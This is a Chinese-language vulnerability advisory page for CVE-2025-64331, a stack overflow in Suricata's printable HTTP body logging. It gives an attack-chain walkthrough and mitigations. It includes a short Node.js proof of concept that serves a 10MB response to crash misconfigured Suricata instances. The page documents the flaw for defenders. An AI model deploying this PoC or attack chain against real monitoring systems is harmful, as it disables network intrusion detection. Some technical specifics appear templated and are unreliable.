IPBUF安全漏洞报告
English
CVE-2025-64331 CVSS 7.5 高危

CVE-2025-64331 Suricata大型HTTP文件传输栈溢出漏洞

披露日期: 2025-11-26

漏洞信息

漏洞编号
CVE-2025-64331
漏洞类型
栈溢出
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Suricata

相关标签

栈溢出Suricata网络入侵检测HTTP处理拒绝服务CVE-2025-64331OISFIDSIPSNSM

漏洞概述

Suricata是一款开源的网络入侵检测系统(IDS)、入侵防御系统(IPS)和网络安全管理(NSM)引擎,由OISF(开放信息安全基金会)开发和维护。CVE-2025-64331是一个在Suricata中发现的栈溢出漏洞,存在于处理大型HTTP文件传输的场景中。该漏洞的触发条件是用户手动增加了HTTP响应体限制(http.response.body-limit参数),并且启用了可打印HTTP体的日志记录功能(http-body-printable选项)。在同时满足这两个条件的情况下,当Suricata处理大型HTTP响应时,攻击者可以通过构造包含大量数据的HTTP响应来触发栈溢出,导致服务崩溃或潜在的代码执行风险。值得注意的是,HTTP体日志记录功能在默认配置下是禁用的,这降低了该漏洞的普遍影响范围。

技术细节

该漏洞的根本原因在于Suricata处理HTTP响应体时的内存管理问题。当用户配置了较大的http.response.body-limit值并启用http-body-printable日志记录后,系统会在栈上分配固定大小的缓冲区来存储可打印的HTTP体数据。然而,在处理大型HTTP文件传输时,如果HTTP响应体的大小超过了栈缓冲区的容量,就会发生缓冲区溢出。具体来说,漏洞发生在app-layer-http.c的HTTP日志处理模块中,当调用printable_bodyline函数将HTTP响应内容复制到栈缓冲区时,缺乏充分的大小验证。攻击者可以通过构造包含大量可打印字符的HTTP响应(如大型HTML页面、JSON数据或文件内容)来触发此漏洞。成功利用此漏洞可导致Suricata进程崩溃,造成IDS/IPS功能中断,在某些情况下还可能实现代码执行。CVSS 3.1评分7.5(高危),攻击向量为网络层面,无需认证和用户交互即可利用。

攻击链分析

STEP 1
侦查阶段
攻击者识别目标网络环境中运行Suricata IDS/IPS/NMS系统,并探测其配置,特别是HTTP日志记录相关设置
STEP 2
配置检查
确认Suricata是否启用了http-body-printable日志功能,且http.response.body-limit参数被设置为较高的值(非默认值)
STEP 3
构造恶意HTTP响应
攻击者搭建恶意HTTP服务器,构造包含大量可打印字符的HTTP响应体,大小需超过Suricata栈缓冲区的处理能力
STEP 4
诱导流量
通过中间人攻击、DNS劫持或诱使Suricata监控的网络中的用户访问恶意服务器,触发Suricata对大型HTTP响应的处理
STEP 5
触发栈溢出
Suricata在处理大型HTTP响应体时,printable_bodyline函数将数据复制到栈缓冲区,由于缺乏边界检查,导致栈溢出
STEP 6
实现攻击效果
成功利用可导致Suricata进程崩溃、服务中断(DoS),在特定条件下可能实现任意代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-64331 PoC - Suricata HTTP Body Stack Overflow // Target: Suricata < 7.0.13 or < 8.0.2 with custom http.response.body-limit // Author: Security Researcher const http = require('http'); // Generate large payload with printable characters function generateLargePayload(size) { return 'A'.repeat(size); } const server = http.createServer((req, res) => { // Send large HTTP response to trigger stack overflow // This PoC assumes Suricata is configured with: // - http.response.body-limit: high value (e.g., 100mb) // - http-body-printable: enabled const largePayload = generateLargePayload(10 * 1024 * 1024); // 10MB res.writeHead(200, { 'Content-Type': 'text/html', 'Content-Length': largePayload.length }); res.end(largePayload); }); server.listen(8080, '0.0.0.0', () => { console.log('Malicious HTTP server running on port 8080'); console.log('Waiting for Suricata to connect and process large HTTP response...'); }); // Note: This PoC requires specific Suricata configuration to be vulnerable: // 1. Set http.response.body-limit to a high value in suricata.yaml // 2. Enable http-body-printable logging in eve-log config // The default configuration is NOT vulnerable as body logging is disabled

影响范围

Suricata < 7.0.13
Suricata < 8.0.2

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)不要增加http.response.body-limit的默认值,保持默认配置;2)确保http-body-printable日志记录功能处于禁用状态,这是Suricata的默认配置;3)如果必须启用HTTP体日志记录,应严格限制http.response.body-limit的值,并监控Suricata进程运行状态;4)在网络边界部署额外的安全设备,对异常大型的HTTP响应进行过滤和告警。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表